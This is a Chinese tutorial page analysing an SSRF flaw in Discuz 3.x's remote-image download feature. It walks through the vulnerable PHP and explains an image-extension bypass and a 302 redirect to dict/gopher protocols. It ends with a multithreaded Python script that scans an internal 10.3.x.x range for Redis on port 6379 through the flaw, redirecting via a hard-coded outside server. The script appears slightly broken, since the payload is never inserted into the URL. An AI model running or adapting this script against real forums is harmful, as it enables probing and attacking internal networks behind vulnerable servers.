您现在的位置是:首页 > cms教程 > Discuz教程Discuz教程
discuz3.x ssrf漏洞分析
念芹2025-07-02Discuz教程已有人查阅
导读漏洞促发点\souce\module\forum\forum_ajax.php之后看到了这里看名字看出应该是个远程下载图片的功能。preg_match_all会匹配完整的字符串把他输出到array[0]中然后array[1]中存放
漏洞促发点\souce\module\forum\forum_ajax.php之后看到了这里
$_GET['action']='downremoteimg'
看名字看出应该是个远程下载图片的功能。
$_GET['message'] = str_replace(array("\r", "\n"), array($_GET['wysiwyg'] ? '<br />' : '', "\\n"), $_GET['message']);
preg_match_all("/\[img\]\s*([^\[\<\r\n]+?)\s*\[\/img\]|\[img=\d{1,4}[x|\,]\d{1,4}\]\s*([^\[\<\r\n]+?)\s*\[\/img\]/is", $_GET['message'], $image1, PREG_SET_ORDER);
$temp = $aids = $existentimg = array();
if(is_array($image1) && !empty($image1)) {
foreach($image1 as $value) {
$temp[] = array(
'0' => $value[0],
'1' => trim(!empty($value[1]) ? $value[1] : $value[2])
);
}
}
preg_match_all会匹配完整的字符串把他输出到array[0]中然后array[1]中存放的是边界符里面的东西。本地测试一下
<?php
$a="<script>alert('1')</script>";
preg_match_all("|<[^>]+>(.*)</[^>]+>|", $a, $array, PREG_SET_ORDER);
print_r($array);
?>
输出Array
(
[0] => Array
(
[0] => <script>alert('1')</script>
[1] => alert('1')
)
)
所以上面的代码$value[1]的值就是把边界去掉后中间的值。继续跟进的话看到了关键代码
foreach($temp as $value) {
$imageurl = $value[1];
$hash = md5($imageurl);
//echo $imageurl;
if(strlen($imageurl)) {
$imagereplace['oldimageurl'][] = $value[0];
if(!isset($existentimg[$hash])) {
$existentimg[$hash] = $imageurl;
$attach['ext'] = $upload->fileext($imageurl);
echo $attach['ext'];
if(!$upload->is_image_ext($attach['ext'])) {
continue;
}
//echo $imageurl;
$content = '';
if(preg_match('/^(http:\/\/|\.)/i', $imageurl)) {
$content = dfsockopen($imageurl);
前面的fileext函数是匹配后缀必须为图片格式,下面看到了$content = dfsockopen($imageurl)我们跟进到这个函数,最后找到了这样的一段
function _dfsockopen($url, $limit = 0, $post = '', $cookie = '', $bysocket = FALSE, $ip = '', $timeout = 15, $block = TRUE, $encodetype = 'URLENCODE', $allowcurl = TRUE, $position = 0) {
$return = '';
$matches = parse_url($url);
$scheme = $matches['scheme'];
$host = $matches['host'];
$path = $matches['path'] ? $matches['path'].($matches['query'] ? '?'.$matches['query'] : '') : '/';
$port = !empty($matches['port']) ? $matches['port'] : 80;
if(function_exists('curl_init') && function_exists('curl_exec') && $allowcurl) {
$ch = curl_init();
$ip && curl_setopt($ch, CURLOPT_HTTPHEADER, array("Host: ".$host));
curl_setopt($ch, CURLOPT_URL, $scheme.'://'.($ip ? $ip : $host).':'.$port.$path);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
if($post) {
curl_setopt($ch, CURLOPT_POST, 1);
if($encodetype == 'URLENCODE') {
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
} else {
parse_str($post, $postarray);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postarray);
}
}
curl明显的ssrf接下来构造payload这里通过1.php?i.jpg这种格式绕过验证
payload="http://127.0.0.1/Discuz1.3/upload/forum.php?mod=ajax&action=downremoteimg&message="
然后利用姿势是写一个302跳转页面,然后通过dict或者gopher协议去读。附上利用脚本
import requests
import time
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
import threading
import Queue
threads_count = 20
scheme = 'dict'
port = '6379'
ip_block = '10.3'
class WyWorker(threading.Thread):
def __init__(self,queue):
threading.Thread.__init__(self)
self.queue = queue
def run(self):
global lock
while True:
if self.queue.empty():
break
try:
url = self.queue.get_nowait()
starttime = time.time()
results= requests.get(url)
if time.time() - starttime > 4:
starttime2=time.time()
res = requests.get(url)
if time.time() - starttime2 > 4:
lock.acquire()
print url
lock.release()
except requests.exceptions.ReadTimeout:
pass
except requests.exceptions.ConnectTimeout:
pass
except Exception, e:
break
if __name__ == "__main__":
queue = Queue.Queue()
global lock
lock = threading.Lock()
for c in xrange(0,255):
for d in xrange(0,255):
ip = '{0}.{1}.{2}'.format(ip_block,c,d)
payload = 'http://115.159.115.41:2333/302.php?s={scheme}%26ip={ip}%26port={port}%26data=helo.jpg'.format(scheme=scheme,ip=ip,port=port)
url = "http://127.0.0.1/Discuz1.3/upload/forum.php?mod=ajax&action=downremoteimg&message=".format(payload=payload)
queue.put(url)
threads = []
for i in xrange(threads_count):
threads.append(WyWorker(queue))
for t in threads:
t.start()
for t in threads:
t.join()
本文标签:
很赞哦! ()
相关教程
图文教程
Discuz论坛上传和下载附件需要注意什么
在Discuz论坛中上传和下载附件是一个常见操作,但要确保操作顺利进行,需要注意一些关键点。我会分享一些经验和建议,帮助你更好地管理附件。Discuz作为一个功能强大的论坛系统
ucenter给discuz批量注册马甲带头像的实现方法
因为要做个测试。需要大量的马甲。上网找了几个discuz的注册马甲软件,发现都不好用,太麻烦了。没办法,只好自己写个脚本
discuz扩展调查问卷的实现方法
最近给discuz论坛扩展了一个调查问卷。未登录的用户是无法进行填写调查问卷,会提示用户进行登录操作:用户登录后,可以进行调查报告的填写:成功提交调查问卷的提示
kubernetes部署Discuz的步骤方法
本文将介绍在kubernetes环境中部署一套php应用系统。前端web采用nginx、中间件php以fastcgi的方式运行,后台数据库由mysql提供支撑。
相关源码
-
(自适应)品牌创意设计作品工作室pbootcms模板下载该模板适用于品牌策划、艺术设计、广告创意公司官网,亦可通过替换图文快速适配其他行;高端创意设计公司工作室网站源码极简代码架构、艺术化视觉布局、企业级功能扩展性。查看源码 -
(PC+WAP)绿色环保设备环保企业网站模板源码下载基于PbootCMS内核开发的响应式企业模板,为环保设备制造、环境技术服务等企业打造,通过模块化设计实现多行业快速适配。查看源码 -
(自适应)餐具英文外贸生活用品带下载功能网站模板免费下载为餐具及生活用品外贸企业打造的响应式网站模板,基于PbootCMS内核开发。突出产品展示与多语言支持特性,通过自适应设计确保更好客户在手机、平板、电脑等设备上获得一致浏览体验。查看源码 -
(自适应响应式)运动健身瑜伽俱乐部网站pbootcms源码下载为健身瑜伽俱乐部设计的响应式网站模板,采用PbootCMS内核开发,可快速搭建专业级企业官网。模板默认适配运动健身行业视觉风格,用户可通过替换图文内容灵活应用于其他服务行业。查看源码 -
(自适应响应式)装修装潢设计公司网站源码下载本模板为装修设计企业打造,采用PbootCMS内核开发,整体设计突出空间美学与功能性结合。首页采用大图轮播展示工程案例,服务项目模块支持三维效果展示,呈现装修设计企业的专业形象与技术实力。查看源码 -
响应式艺考培训学校机构pbootcms模板html5源码基于PbootCMS免费开源内核开发,为艺考培训学校与艺术机构设计,替换图文即可快速适配全行业需求。响应式布局兼容手机/PC端,数据实时同步,运维效率提升300%。查看源码
| 分享笔记 (共有 篇笔记) |
